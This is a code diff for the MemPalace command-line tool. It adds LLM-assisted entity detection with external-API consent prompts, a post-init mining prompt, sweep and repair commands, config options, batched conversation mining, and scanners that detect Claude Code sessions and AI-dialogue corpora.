provider_name = getattr(args, "llm_provider", "ollama") or "ollama"
provider_model = getattr(args, "llm_model", "gemma4:e4b") or "gemma4:e4b"
try:
candidate = get_provider(
name=provider_name,
model=provider_model,
endpoint=getattr(args, "llm_endpoint", None),
api_key=getattr(args, "llm_api_key", None),
)
ok, msg = candidate.check_available()
if ok:
llm_provider = candidate
print(f" LLM enabled: {provider_name}/{provider_model}")
# Privacy warning (issue #24): if the configured endpoint
# sends data off the user's machine/network, surface that
# before init proceeds. URL-based — Ollama on localhost,
# LM Studio on LAN, etc. won't trigger; Anthropic /
# cloud OpenAI-compat / any non-local endpoint will.
if candidate.is_external_service:
print(
f" ⚠ {provider_name} is an EXTERNAL API. Your folder "
f"content will be sent to the provider during init. "
f"MemPalace does not control how the provider logs, "
f"retains, or uses your data. Pass --no-llm to keep "
f"init fully local."
)
# Consent gate (issue #26): block init when the api_key
# was acquired via env-fallback (stray credential in
# shell env). Explicit --llm-api-key (api_key_source ==
# "flag") means the user already opted in.
# --accept-external-llm bypasses for CI / non-interactive.
api_key_source = getattr(candidate, "api_key_source", None)
accept_flag = getattr(args, "accept_external_llm", False)
if api_key_source == "env" and not accept_flag:
try:
answer = (
input(
" Your API key was loaded from the environment "
"(not passed via --llm-api-key). Continue with "
"external LLM? [y/N] "
)
.strip()
.lower()
)
except EOFError:
answer = ""
if answer != "y":
print(
" Declined — falling back to heuristics-only. "
"Pass --llm-api-key explicitly or "
"--accept-external-llm to skip this prompt."
)
llm_provider = None
else:
print(
f" No LLM provider reachable ({msg}). "
f"Running heuristics-only — pass --no-llm to silence this."
)
except LLMError as e:
print(
f" LLM init failed ({e}). "
f"Running heuristics-only — pass --no-llm to silence this."
)
# Pass 0: detect whether the corpus is AI-dialogue. Writes
# <palace>/.mempalace/origin.json and supplies corpus context to the
# entity classifier so it can correctly handle agent persona names
# (e.g. "Echo", "Sparrow") without misclassifying them as people.
corpus_origin = _run_pass_zero(
project_dir=args.dir,
palace_dir=cfg.palace_path,
llm_provider=llm_provider,
)
# Pass 1: discover entities — manifests + git authors first, prose detection
# as supplement for names mentioned only in docs/notes. Optional phase-2
# LLM refinement runs inside discover_entities when llm_provider is given.
print(f"\n Scanning for entities in: {args.dir}")
if languages_tuple != ("en",):
print(f" Languages: {', '.join(languages_tuple)}")
files = scan_for_detection(args.dir)
if files:
print(f" Reading {len(files)} files...")
detected = detect_entities(files, languages=languages_tuple)
total = len(detected["people"]) + len(detected["projects"]) + len(detected["uncertain"])
if total > 0:
confirmed = confirm_entities(detected, yes=getattr(args, "yes", False))
# Save confirmed entities to <project>/entities.json for the miner
if confirmed["people"] or confirmed["projects"]:
entities_path = Path(args.dir).expanduser().resolve() / "entities.json"
with open(entities_path, "w") as f:
json.dump(confirmed, f, indent=2)
print(f" Entities saved: {entities_path}")
else:
print(" No entities detected — proceeding with directory-based rooms.")
detected = discover_entities(
args.dir,
languages=languages_tuple,
llm_provider=llm_provider,
corpus_origin=corpus_origin,
)
total = (
len(detected["people"])
+ len(detected["projects"])
+ len(detected.get("topics", []))
+ len(detected["uncertain"])
)
if total > 0:
confirmed = confirm_entities(detected, yes=getattr(args, "yes", False))
# Save confirmed entities to <project>/entities.json (per-project
# audit trail — user can inspect or hand-edit) AND merge into the
# global registry the miner reads at mine time. Topics are kept
# separately so the miner can later compute cross-wing tunnels
# from shared topics (see palace_graph.compute_topic_tunnels).
if confirmed["people"] or confirmed["projects"] or confirmed.get("topics"):
project_path = Path(args.dir).expanduser().resolve()
entities_path = project_path / "entities.json"
with open(entities_path, "w", encoding="utf-8") as f:
json.dump(confirmed, f, indent=2, ensure_ascii=False)
print(f" Entities saved: {entities_path}")
from .config import normalize_wing_name
from .miner import add_to_known_entities
# Match the slug ``room_detector_local`` writes into
# ``mempalace.yaml`` so the miner's tunnel lookup hits the
# same key in ``topics_by_wing`` at mine time (issue #1194 —
# without this, hyphenated dirnames silently lose tunnels).
wing = normalize_wing_name(project_path.name)
registry_path = add_to_known_entities(confirmed, wing=wing)
print(f" Registry updated: {registry_path}")
else:
print(" No entities detected — proceeding with directory-based rooms.")
# Pass 2: detect rooms from folder structure
detect_rooms_local(project_dir=args.dir, yes=getattr(args, "yes", False))
@@ -111,6 +376,107 @@ def cmd_init(args):
# Pass 3: protect git repos from accidentally committing per-project files
_ensure_mempalace_files_gitignored(args.dir)
# Pass 4: offer to run mine immediately. The directory just had its
# rooms + entities set up, so 99% of users will mine next anyway —
# asking here removes the "remember to type the next command" friction.
# `--auto-mine` skips the prompt and mines automatically; `--yes` is
# SCOPED to entity auto-accept and does NOT imply mining.
_maybe_run_mine_after_init(args, cfg)
def _format_size_mb(num_bytes: int) -> str:
"""Render a byte count as a human-readable size for the mine estimate.
< 1 MB rounds up to ``<1 MB`` so users never see a misleading ``0 MB``
on small projects. Otherwise reports an integer megabyte count.
"""
if num_bytes <= 0:
return "<1 MB"
mb = num_bytes / (1024 * 1024)
if mb < 1:
return "<1 MB"
return f"{mb:.0f} MB"
def _maybe_run_mine_after_init(args, cfg) -> None:
"""Prompt the user to mine the directory just initialised, or auto-mine
when ``--auto-mine`` was passed. Extracted so the prompt path is
unit-testable.
Behaviour matrix:
- default (no flags) — prompt, default Yes, mine in-process if accepted
- ``--yes`` — entity auto-accept only; STILL prompts for the mine step
- ``--auto-mine`` — skip the mine prompt and mine directly
- ``--yes --auto-mine`` — fully non-interactive
Mine errors are surfaced (not swallowed): a failing mine exits with a
non-zero status via :func:`sys.exit` so downstream scripts can see it.
The pre-scan that produces the file-count estimate is reused as the
mine input so we never walk the corpus twice.
"""
from .miner import mine, scan_project
project_dir = args.dir
auto_mine = bool(getattr(args, "auto_mine", False))
# Single corpus walk: this scan feeds BOTH the "what would be mined"
# estimate the user sees in the prompt AND the file list mine() will
# process. We pass the result into mine() via the `files` kwarg so it
# doesn't re-walk the tree.
try:
scanned_files = scan_project(project_dir)
file_count = len(scanned_files)
total_bytes = 0
for fp in scanned_files:
try:
total_bytes += fp.stat().st_size
except OSError:
# Skip files that vanished between scan and stat — mine()
# will skip them too.
continue
size_str = _format_size_mb(total_bytes)
except Exception:
scanned_files = None
file_count = None
size_str = None
# Show the scope estimate BEFORE the prompt so the user knows what
# they are agreeing to. On a real corpus mine takes minutes; hitting
# Enter on a default-Y prompt with no size cue is a footgun.
if isinstance(file_count, int):
if size_str:
print(f" ~{file_count} files (~{size_str}) would be mined into this palace.\n")
else:
print(f" ~{file_count} files would be mined into this palace.\n")
if not auto_mine:
try:
answer = input(" Mine this directory now? [Y/n] ").strip().lower()
except EOFError:
# Non-interactive stdin (e.g. piped) — treat like decline so
# we don't block. User can re-run with --auto-mine to opt in.
answer = "n"
if answer not in ("", "y", "yes"):
print(f"\n Skipped. Run `mempalace mine {shlex.quote(project_dir)}` when ready.")
return
palace_path = cfg.palace_path
try:
mine(
project_dir=project_dir,
palace_path=palace_path,
files=scanned_files,
)
except KeyboardInterrupt:
# mine() handles its own SIGINT summary + sys.exit(130); re-raise
# any KeyboardInterrupt that escapes (shouldn't happen) so the
# shell still sees a clean interrupt rather than a swallowed one.
raise
except Exception as e:
print(f"\n ERROR: mine failed: {e}", file=sys.stderr)
sys.exit(1)
def cmd_mine(args):
palace_path = os.path.expanduser(args.palace) if args.palace else MempalaceConfig().palace_path
@@ -118,6 +484,16 @@ def cmd_mine(args):
for raw in args.include_ignored or []:
include_ignored.extend(part.strip() for part in raw.split(",") if part.strip())
# --redetect-origin re-runs corpus_origin on the current corpus state
# and overwrites <palace>/.mempalace/origin.json before mining proceeds.
# Heuristic-only by design — full LLM detection lives on `mempalace init`.
if getattr(args, "redetect_origin", False):
_run_pass_zero(
project_dir=args.dir,
palace_dir=palace_path,
llm_provider=None,
)
if args.mode == "convos":
from .convo_miner import mine_convos
@@ -145,6 +521,48 @@ def cmd_mine(args):
)
def cmd_sweep(args):
"""Sweep a transcript file or directory.
The sweeper deduplicates against its own prior writes via
deterministic drawer IDs + a timestamp cursor. It does NOT currently
coordinate with the file-level miners (miner.py / convo_miner.py) —
those produce char-chunked drawers without compatible message
metadata, so running both miners may store overlapping content under
different IDs.
"""
from .sweeper import sweep, sweep_directory
palace_path = os.path.expanduser(args.palace) if args.palace else MempalaceConfig().palace_path
target = os.path.expanduser(args.target)
if os.path.isfile(target):
result = sweep(target, palace_path)
print(
f" Swept {target}: +{result['drawers_added']} new, "
f"{result['drawers_already_present']} already present, "
f"{result['drawers_skipped']} skipped (< cursor)."
)
elif os.path.isdir(target):
result = sweep_directory(target, palace_path)
print(
f" Swept {result['files_succeeded']}/{result['files_attempted']} "
f"files from {target}: +{result['drawers_added']} new, "
f"{result['drawers_already_present']} already present, "
f"{result['drawers_skipped']} skipped (< cursor)."
)
failures = result.get("failures") or []
if failures:
print(
f" WARNING: {len(failures)} file(s) failed to sweep - see stderr / logs for details.",
file=sys.stderr,
)
sys.exit(2)
else:
print(f" ERROR: Not a file or directory: {target}", file=sys.stderr)
sys.exit(1)
def cmd_search(args):
from .searcher import search, SearchError
@@ -217,15 +635,38 @@ def cmd_status(args):
status(palace_path=palace_path)
def cmd_repair_status(args):
"""Read-only HNSW capacity health check (#1222)."""
from .repair import status as repair_status
palace_path = os.path.expanduser(args.palace) if args.palace else MempalaceConfig().palace_path
repair_status(palace_path=palace_path)
def cmd_repair(args):
"""Rebuild palace vector index from SQLite metadata."""
import shutil
from .backends.chroma import ChromaBackend
from .migrate import confirm_destructive_action, contains_palace_database
from .repair import TruncationDetected, check_extraction_safety
palace_path = os.path.abspath(
os.path.expanduser(args.palace) if args.palace else MempalaceConfig().palace_path
)
if getattr(args, "mode", "legacy") == "max-seq-id":
from .repair import repair_max_seq_id
repair_max_seq_id(
palace_path,
segment=getattr(args, "segment", None),
from_sidecar=getattr(args, "from_sidecar", None),
backup=getattr(args, "backup", True),
dry_run=getattr(args, "dry_run", False),
assume_yes=getattr(args, "yes", False),
)
return
db_path = os.path.join(palace_path, "chroma.sqlite3")
if not os.path.isdir(palace_path):
@@ -270,12 +711,31 @@ def cmd_repair(args):
offset = 0
while offset < total:
batch = col.get(limit=batch_size, offset=offset, include=["documents", "metadatas"])
if not batch["ids"]:
break
all_ids.extend(batch["ids"])
all_docs.extend(batch["documents"])
all_metas.extend(batch["metadatas"])
offset += batch_size
offset += len(batch["ids"])
print(f" Extracted {len(all_ids)} drawers")
# ── #1208 guard ──────────────────────────────────────────────────
# Cross-check against the SQLite ground truth before doing anything
# destructive. Catches the user-reported case where chromadb's
# collection-layer get() silently caps at 10,000 rows even on much
# larger palaces (e.g. after manual HNSW quarantine). Override with
# --confirm-truncation-ok only after independently verifying the
# extraction count is real.
try:
check_extraction_safety(
palace_path,
len(all_ids),
confirm_truncation_ok=getattr(args, "confirm_truncation_ok", False),
)
except TruncationDetected as e:
print(e.message)
return
# Backup and rebuild
palace_path = os.path.normpath(palace_path)
backup_path = palace_path + ".backup"
@@ -324,7 +784,7 @@ def cmd_instructions(args):
def cmd_mcp(args):
"""Show how to wire MemPalace into MCP-capable hosts."""
base_server_cmd = "python -m mempalace.mcp_server"
base_server_cmd = "mempalace-mcp"
if args.palace:
resolved_palace = str(Path(args.palace).expanduser())
@@ -470,10 +930,17 @@ def cmd_compress(args):
def main():
version_label = f"MemPalace {__version__}"
parser = argparse.ArgumentParser(
description="MemPalace — Give your AI a memory. No API key required.",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=__doc__,
epilog=f"{version_label}\n\n{__doc__}",
)
parser.add_argument(
"--version",
action="version",
version=version_label,
help="Show version and exit",
)
parser.add_argument(
"--palace",
@@ -491,6 +958,14 @@ def main():
action="store_true",
help="Auto-accept all detected entities (non-interactive)",
)
p_init.add_argument(
"--auto-mine",
action="store_true",
help=(
"Skip the post-init mine prompt and run mine automatically. "
"Combine with --yes for a fully non-interactive setup."
),
)
p_init.add_argument(
"--lang",
default=None,
@@ -501,6 +976,61 @@ def main():
"When given, the value is also persisted to config.json."
),
)
p_init.add_argument(
"--llm",
action="store_true",
help=(
"DEPRECATED — LLM-assisted entity refinement is now ON by default. "
"This flag is preserved for backward compatibility; pass --no-llm "
"to opt out instead."
),
)
p_init.add_argument(
"--no-llm",
action="store_true",
help=(
"Disable LLM-assisted entity refinement. Run init in heuristics-only "
"mode (no provider acquisition, no LLM calls). Use when running "
"without a local LLM and you don't want the graceful-fallback message."
),
)
p_init.add_argument(
"--llm-provider",
default="ollama",
choices=["ollama", "openai-compat", "anthropic"],
help="LLM provider (default: ollama). Pass --no-llm to disable LLM-assisted refinement entirely.",
)
p_init.add_argument(
"--llm-model",
default="gemma4:e4b",
help="Model name for the chosen provider (default: gemma4:e4b for Ollama).",
)
p_init.add_argument(
"--llm-endpoint",
default=None,
help=(
"Provider endpoint URL. Default for Ollama: http://localhost:11434. "
"Required for openai-compat."
),
)
p_init.add_argument(
"--llm-api-key",
default=None,
help=(
"API key for the provider. For anthropic, defaults to $ANTHROPIC_API_KEY; "
"for openai-compat, defaults to $OPENAI_API_KEY."
),
)
p_init.add_argument(
"--accept-external-llm",
action="store_true",
help=(
"Bypass the interactive consent prompt that fires when an external "
"LLM is configured via an environment-variable API key (issue #26). "
"Use this in CI / non-interactive runs where you've already decided "
"the external send is acceptable."
),
)
# mine
p_mine = sub.add_parser("mine", help="Mine files into the palace")
@@ -529,6 +1059,17 @@ def main():
help="Your name — recorded on every drawer (default: mempalace)",
)
p_mine.add_argument("--limit", type=int, default=0, help="Max files to process (0 = all)")
p_mine.add_argument(
"--redetect-origin",
action="store_true",
help=(
"Re-run corpus_origin detection on this directory and overwrite "
"<palace>/.mempalace/origin.json. Useful when the corpus has grown "
"since `mempalace init` and the stored origin may be stale. "
"Heuristic-only (no LLM call) — re-run `mempalace init --llm` for "
"Tier 2 refinement."
),
)
p_mine.add_argument(
"--dry-run", action="store_true", help="Show what would be filed without filing"
)
@@ -539,6 +1080,17 @@ def main():
help="Extraction strategy for convos mode: 'exchange' (default) or 'general' (5 memory types)",
)
# sweep
p_sweep = sub.add_parser(
"sweep",
help="Tandem miner: catch anything the primary miner missed "
"(message-level, timestamp-coordinated, idempotent)",
)
p_sweep.add_argument(
"target",
help="A .jsonl transcript file, or a directory to scan recursively",
)
# search
p_search = sub.add_parser("search", help="Find anything, exact words")
p_search.add_argument("query", help="What to search for")
@@ -615,10 +1167,65 @@ def main():
instructions_sub.add_parser(instr_name, help=f"Output {instr_name} instructions")
# repair
sub.add_parser(
p_repair = sub.add_parser(
"repair",
help="Rebuild palace vector index from stored data (fixes segfaults after corruption)",
).add_argument("--yes", action="store_true", help="Skip confirmation for destructive changes")
help=(
"Rebuild palace vector index (legacy mode) or un-poison max_seq_id rows "
"(--mode max-seq-id)"
),
)
p_repair.add_argument(
"--yes", action="store_true", help="Skip confirmation for destructive changes"
)
p_repair.add_argument(
"--confirm-truncation-ok",
action="store_true",
help=(
"Override the #1208 safety guard. Required when chromadb's collection-layer "
"extraction returns exactly 10,000 drawers and the SQLite ground-truth check "
"either matches or can't be read. Use only after independently confirming "
"the palace really contains that count."
),
)
p_repair.add_argument(
"--mode",
choices=["legacy", "max-seq-id"],
default="legacy",
help=(
"legacy: full-palace rebuild (default). "
"max-seq-id: un-poison max_seq_id rows corrupted by the legacy 0.6.x shim."
),
)
p_repair.add_argument(
"--segment",
default=None,
help="Segment UUID filter for --mode max-seq-id (repairs only that segment).",
)
p_repair.add_argument(
"--from-sidecar",
default=None,
help=(
"Path to a pre-corruption chroma.sqlite3 sidecar (for --mode max-seq-id); "
"clean values are copied from its max_seq_id table verbatim."
),
)
p_repair.add_argument(
"--backup",
action=argparse.BooleanOptionalAction,
default=True,
help="Back up SQLite before mutation (default: on)",
)
p_repair.add_argument(
"--dry-run",
action="store_true",
help="Print detected poisoned rows and exit without mutation (--mode max-seq-id only)",
)
# repair-status — read-only HNSW capacity health check (#1222)
sub.add_parser(
"repair-status",
help="Compare sqlite vs HNSW element counts (read-only; never opens a chromadb client)",
)
# mcp
sub.add_parser(
@@ -671,10 +1278,12 @@ def main():
"mine": cmd_mine,
"split": cmd_split,
"search": cmd_search,
"sweep": cmd_sweep,
"mcp": cmd_mcp,
"compress": cmd_compress,
"wake-up": cmd_wakeup,
"repair": cmd_repair,
"repair-status": cmd_repair_status,
"migrate": cmd_migrate,
"status": cmd_status,
}
+57 -1
View File
@@ -19,6 +19,16 @@ MAX_NAME_LENGTH = 128
_SAFE_NAME_RE = re.compile(r"^(?:[^\W_]|[^\W_][\w .'-]{0,126}[^\W_])$")
def normalize_wing_name(name: str) -> str:
"""Lower-case + collapse separators (`-`, ` `) to `_` for wing slugs.
The same rule is applied by ``init`` when persisting `topics_by_wing`
and when writing `mempalace.yaml`, so the miner's lookup matches at
mine time regardless of the source dirname.
"""
return name.lower().replace(" ", "_").replace("-", "_")
def sanitize_name(value: str, field_name: str = "name") -> str:
"""Validate and sanitize a wing/room/entity name.
@@ -168,7 +178,10 @@ class MempalaceConfig:
"""Path to the memory palace data directory."""
env_val = os.environ.get("MEMPALACE_PALACE_PATH") or os.environ.get("MEMPAL_PALACE_PATH")
if env_val:
return env_val
# Normalize: expand ~ and collapse .. to match the CLI --palace
# code path (mcp_server.py:62) and prevent surprise redirection
# when the env var contains unresolved components.
return os.path.abspath(os.path.expanduser(env_val))
return self._file_config.get("palace_path", DEFAULT_PALACE_PATH)
@property
@@ -233,6 +246,49 @@ class MempalaceConfig:
pass
return normalized
@property
def embedding_device(self):
"""Hardware device for the ONNX embedding model.
Values: ``"auto"`` (default), ``"cpu"``, ``"cuda"``, ``"coreml"``,
``"dml"``. Read from env ``MEMPALACE_EMBEDDING_DEVICE`` first, then
``embedding_device`` in ``config.json``, then ``"auto"``.
``auto`` resolves to the first available accelerator at runtime via
:mod:`mempalace.embedding`; requesting an unavailable accelerator
logs a warning and falls back to CPU.
"""
env_val = os.environ.get("MEMPALACE_EMBEDDING_DEVICE")
if env_val:
return env_val.strip().lower()
return str(self._file_config.get("embedding_device", "auto")).strip().lower()
@property
def topic_tunnel_min_count(self):
"""Minimum number of overlapping confirmed topics required to create
a cross-wing tunnel between two wings.
Default is ``1`` — any single shared topic produces a tunnel. Bump
to ``2+`` if your projects share lots of common-tech labels (Python,
Docker, Git) and you want only meaningfully overlapping wings to
link. Reads ``MEMPALACE_TOPIC_TUNNEL_MIN_COUNT`` env first, then the
config-file value, then ``1``.
"""
env_val = os.environ.get("MEMPALACE_TOPIC_TUNNEL_MIN_COUNT")
if env_val:
try:
parsed = int(env_val)
if parsed >= 1:
return parsed
except ValueError:
pass
cfg_val = self._file_config.get("topic_tunnel_min_count")
try:
parsed = int(cfg_val) if cfg_val is not None else 1
except (TypeError, ValueError):
parsed = 1
return max(1, parsed)
@property
def hook_silent_save(self):
"""Whether the stop hook saves directly (True) or blocks for MCP calls (False)."""
+47 -25
View File
@@ -55,7 +55,15 @@ CONVO_EXTENSIONS = {
MIN_CHUNK_SIZE = 30
CHUNK_SIZE = 800 # chars per drawer — align with miner.py
MAX_FILE_SIZE = 10 * 1024 * 1024 # 10 MB — skip files larger than this
DRAWER_UPSERT_BATCH_SIZE = 1000
MAX_FILE_SIZE = 500 * 1024 * 1024 # 500 MB — skip files larger than this.
# Matches miner.py at 500 MB. Long Claude Code sessions, multi-year
# ChatGPT exports, and lifetime Slack dumps routinely exceed 10 MB; the
# cap at that level silently dropped them with `continue`. Per-drawer
# size is bounded by CHUNK_SIZE, but larger source files still produce
# more drawers and therefore more embedding/storage work — and content
# is normalized and loaded fully into memory before chunking, so memory
# use also scales with source size.
def _register_file(collection, source_file: str, wing: str, agent: str):
@@ -325,31 +333,43 @@ def _file_chunks_locked(collection, source_file, chunks, wing, room, agent, extr
except Exception:
pass
for chunk in chunks:
chunk_room = chunk.get("memory_type", room) if extract_mode == "general" else room
if extract_mode == "general":
room_counts_delta[chunk_room] += 1
drawer_id = f"drawer_{wing}_{chunk_room}_{hashlib.sha256((source_file + str(chunk['chunk_index'])).encode()).hexdigest()[:24]}"
# Batch chunks into bounded upserts so large transcripts keep most of
# the embedding speedup without one huge Chroma/SQLite request. Keep
# one filed_at per source file so all transcript drawers share an
# ingest timestamp.
filed_at = datetime.now().isoformat()
for batch_start in range(0, len(chunks), DRAWER_UPSERT_BATCH_SIZE):
batch_docs: list = []
batch_ids: list = []
batch_metas: list = []
for chunk in chunks[batch_start : batch_start + DRAWER_UPSERT_BATCH_SIZE]:
chunk_room = chunk.get("memory_type", room) if extract_mode == "general" else room
if extract_mode == "general":
room_counts_delta[chunk_room] += 1
drawer_id = f"drawer_{wing}_{chunk_room}_{hashlib.sha256((source_file + str(chunk['chunk_index'])).encode()).hexdigest()[:24]}"
batch_docs.append(chunk["content"])
batch_ids.append(drawer_id)
batch_metas.append(
{
"wing": wing,
"room": chunk_room,
"hall": _detect_hall_cached(chunk["content"]),
"source_file": source_file,
"chunk_index": chunk["chunk_index"],
"added_by": agent,
"filed_at": filed_at,
"ingest_mode": "convos",
"extract_mode": extract_mode,
"normalize_version": NORMALIZE_VERSION,
}
)
try:
collection.upsert(
documents=[chunk["content"]],
ids=[drawer_id],
metadatas=[
{
"wing": wing,
"room": chunk_room,
"hall": _detect_hall_cached(chunk["content"]),
"source_file": source_file,
"chunk_index": chunk["chunk_index"],
"added_by": agent,
"filed_at": datetime.now().isoformat(),
"ingest_mode": "convos",
"extract_mode": extract_mode,
"normalize_version": NORMALIZE_VERSION,
}
],
documents=batch_docs,
ids=batch_ids,
metadatas=batch_metas,
)
drawers_added += 1
drawers_added += len(batch_docs)
except Exception as e:
if "already exists" not in str(e).lower():
raise
@@ -374,7 +394,9 @@ def mine_convos(
convo_path = Path(convo_dir).expanduser().resolve()
if not wing:
wing = convo_path.name.lower().replace(" ", "_").replace("-", "_")
from .config import normalize_wing_name
wing = normalize_wing_name(convo_path.name)
files = scan_convos(convo_dir)
if limit > 0:
@@ -471,7 +493,7 @@ def mine_convos(
room_counts[r] += n
total_drawers += drawers_added
print(f" ✓ [{i:4}/{len(files)}] {filepath.name[:50]:50} +{drawers_added}")
print(f" + [{i:4}/{len(files)}] {filepath.name[:50]:50} +{drawers_added}")
print(f"\n{'=' * 55}")
print(" Done.")
+160
View File
@@ -0,0 +1,160 @@
"""
convo_scanner.py — Parse Claude Code conversation directories into ProjectInfo.
Claude Code stores sessions under ``~/.claude/projects/<slug>/<id>.jsonl``,
where the ``<slug>`` is the original CWD with ``/`` replaced by ``-``. That
encoding is lossy: we can't tell whether ``foo-bar`` in a slug is the
literal project name ``foo-bar`` or two path segments ``foo/bar``.
Fortunately, every message record in the JSONL carries a ``cwd`` field with
the true path. This scanner reads one record per session to recover the
accurate project name, falling back to slug-decoding only if the JSONL
is malformed or empty.
Output is the same ``ProjectInfo`` shape used by ``project_scanner``, so the
``discover_entities`` orchestrator can mix-and-match sources.
Public:
is_claude_projects_root(path) -> bool
scan_claude_projects(path) -> list[ProjectInfo]
"""
from __future__ import annotations
import json
from pathlib import Path
from typing import Optional
from mempalace.project_scanner import ProjectInfo
MAX_HEADER_LINES = 20 # lines to read per session looking for `cwd`
def is_claude_projects_root(path: Path) -> bool:
"""Return True if path looks like `.claude/projects/`.
Heuristic: at least one child dir whose name starts with ``-`` and which
contains at least one ``.jsonl`` file.
"""
if not path.is_dir():
return False
try:
children = list(path.iterdir())
except OSError:
return False
for child in children:
if not (child.is_dir() and child.name.startswith("-")):
continue
try:
if any(p.suffix == ".jsonl" for p in child.iterdir() if p.is_file()):
return True
except OSError:
continue
return False
def _extract_cwd_from_session(session_file: Path) -> Optional[str]:
"""Return the ``cwd`` from the first message record that carries one.
Returns None if the file can't be read, has no JSON, or no record has cwd.
"""
try:
with open(session_file, encoding="utf-8", errors="replace") as f:
for i, line in enumerate(f):
if i >= MAX_HEADER_LINES:
break
line = line.strip()
if not line:
continue
try:
obj = json.loads(line)
except json.JSONDecodeError:
continue
cwd = obj.get("cwd")
if isinstance(cwd, str) and cwd:
return cwd
except OSError:
return None
return None
def _decode_slug_fallback(slug: str) -> str:
"""Best-effort project name from slug when cwd is unavailable.
The slug is lossy (`/` and `-` both become `-`). Last non-empty segment
is the closest guess at the project name, preserving kebab-case is
impossible without cwd.
"""
stripped = slug.lstrip("-")
parts = [p for p in stripped.split("-") if p]
return parts[-1] if parts else slug
def _safe_mtime(path: Path) -> float:
"""Return file mtime, defaulting old on permission or filesystem errors."""
try:
return path.stat().st_mtime
except OSError:
return 0.0
def _resolve_project_name(project_dir: Path) -> str:
"""Read one session's cwd to recover the original project name.
Falls back to slug-decoding if no session has a readable cwd.
"""
sessions = sorted(
(p for p in project_dir.iterdir() if p.is_file() and p.suffix == ".jsonl"),
key=_safe_mtime,
reverse=True, # newest first — most likely to be well-formed
)
for session in sessions:
cwd = _extract_cwd_from_session(session)
if cwd:
return Path(cwd).name or cwd
return _decode_slug_fallback(project_dir.name)
def scan_claude_projects(path: str | Path) -> list[ProjectInfo]:
"""Scan a ``.claude/projects/`` directory for Claude Code conversations.
One ProjectInfo per subdir. ``has_git`` is False (the directory isn't a
repo itself) but ``total_commits`` is repurposed here as session count so
the UX surfaces a density signal for ranking.
"""
root = Path(path).expanduser().resolve()
if not is_claude_projects_root(root):
return []
projects: dict[str, ProjectInfo] = {}
for sub in sorted(root.iterdir()):
if not (sub.is_dir() and sub.name.startswith("-")):
continue
try:
sessions = [p for p in sub.iterdir() if p.is_file() and p.suffix == ".jsonl"]
except OSError:
continue
if not sessions:
continue
name = _resolve_project_name(sub)
session_count = len(sessions)
proj = ProjectInfo(
name=name,
repo_root=sub,
manifest=None,
has_git=False,
total_commits=session_count,
user_commits=session_count,
is_mine=True, # Claude Code sessions are authored by the user
)
existing = projects.get(name)
if existing is None or session_count > existing.user_commits:
projects[name] = proj
return sorted(
projects.values(),
key=lambda p: (-p.user_commits, p.name),
)
+422
View File
@@ -0,0 +1,422 @@
"""
corpus_origin.py — Detect whether a corpus is an AI-dialogue record and,
if so, what platform and what persona names the user has assigned to the
agent.
This is the first question any downstream Pass 2 classification needs
answered. Without it, a drawer like "my three sons" in a Claude Code
dialogue corpus can't be correctly resolved to "three AI instances"
rather than "three biological children."
Two-tier detection:
Tier 1 — detect_origin_heuristic(samples)
Cheap, no API. Grep for well-known AI brand terms + turn
markers. Always runs. Outputs a hypothesis.
Tier 2 — detect_origin_llm(samples, provider)
Uses an LLMProvider (typically Haiku via mempalace.llm_client)
with the model's pre-trained knowledge of Claude/ChatGPT/Gemini
etc. Confirms platform, extracts agent persona-names the user
has assigned. One call, ~$0.01 cost.
Design principle:
Don't make the classifier re-discover what Claude, ChatGPT, Gemini, MCP,
or other well-known entities ARE — the LLM already knows them from its
training. Only corpus-specific entities (e.g. the user's persona-name
for their Claude instance) need discovery.
Default stance (when evidence is thin):
"This IS an AI-dialogue corpus" — false-negative is catastrophic for
downstream classification; false-positive is recoverable via per-drawer
voice-profile detection in later passes.
"""
from __future__ import annotations
import json
import re
from dataclasses import dataclass, field, asdict
from typing import Optional
# ── Well-known AI brand terms (expand as new platforms emerge) ────────────
# Detection is by PATTERN + CONTEXT, not by capitalization or English-language
# rules. Two categories:
#
# UNAMBIGUOUS — terms that have essentially no meaning outside of AI context.
# Always counted toward AI-dialogue evidence.
#
# AMBIGUOUS — terms that share a string with common English words, names,
# poetry forms, zodiac signs, animals, etc. Counted toward AI-dialogue
# evidence ONLY when at least one unambiguous AI signal also appears in
# the corpus (turn marker, unambiguous brand term, or AI infrastructure
# term). This avoids false-positives on French novels with characters
# named "Claude", astrology corpora discussing "Gemini", poetry corpora
# full of "haiku" / "sonnet", etc.
#
# All matching is CASE-INSENSITIVE — users type lowercase constantly.
_AI_UNAMBIGUOUS_TERMS = [
# Anthropic-specific
"Anthropic",
"Claude Code",
"Claude 3",
"Claude 4",
"claude mcp",
"CLAUDE.md",
".claude/",
# OpenAI-specific
"ChatGPT",
"GPT-4",
"GPT-3",
"GPT-5",
"OpenAI",
"gpt-4o",
"gpt-4-turbo",
"o1-preview",
"o3",
# Google-specific
"gemini-pro",
"gemini-1.5",
"Google AI",
# Meta / others (specific model identifiers, not bare common words)
"Mixtral",
"Cohere",
# AI-infrastructure terms with no common-English collision
"MCP",
"LLM",
"RAG",
"fine-tune",
"context window",
"embedding",
]
_AI_AMBIGUOUS_TERMS = [
# Anthropic — bare brand/model names that collide with names + poetry
"Claude", # also a common French masculine name
"Opus", # also a musical work, comic strip, magazine
"Sonnet", # also a 14-line poem form
"Haiku", # also a 17-syllable poem form
# Google — bare brand that collides with zodiac sign
"Gemini", # also the zodiac sign
"Bard", # also a poet / Shakespeare
# Meta / others
"Llama", # also the South American animal
"Mistral", # also a Mediterranean wind
# Note: 'prompt', 'completion', 'tokens' previously lived here but were
# removed: they're suppressed without an unambiguous co-signal anyway,
# and by the time a co-signal is present the corpus is already flagged.
# Keeping them just produced noisier evidence strings.
]
# Turn-marker patterns commonly seen in AI-dialogue transcripts
_TURN_MARKERS = [
r"\buser\s*:\s*",
r"\bassistant\s*:\s*",
r"\bhuman\s*:\s*",
r"\bai\s*:\s*",
r"\b>>>\s*User\b",
r"\b>>>\s*Assistant\b",
]
def _brand_pattern(term: str) -> str:
"""Build a regex for a brand term that uses word boundaries
only on edges where the term itself starts/ends with a word
character. Without this nuance:
- 'Claude' would falsely match inside 'Claudette' (no \\b)
- '.claude/' would fail to match at start of string (\\b
before non-word char requires preceding word char)
So we only attach \\b where it actually makes sense."""
escaped = re.escape(term)
prefix = r"\b" if term[0].isalnum() or term[0] == "_" else ""
suffix = r"\b" if term[-1].isalnum() or term[-1] == "_" else ""
return prefix + escaped + suffix
@dataclass
class CorpusOriginResult:
"""Structured output from corpus-origin detection.
Fields:
likely_ai_dialogue — best hypothesis about whether this is AI-dialogue
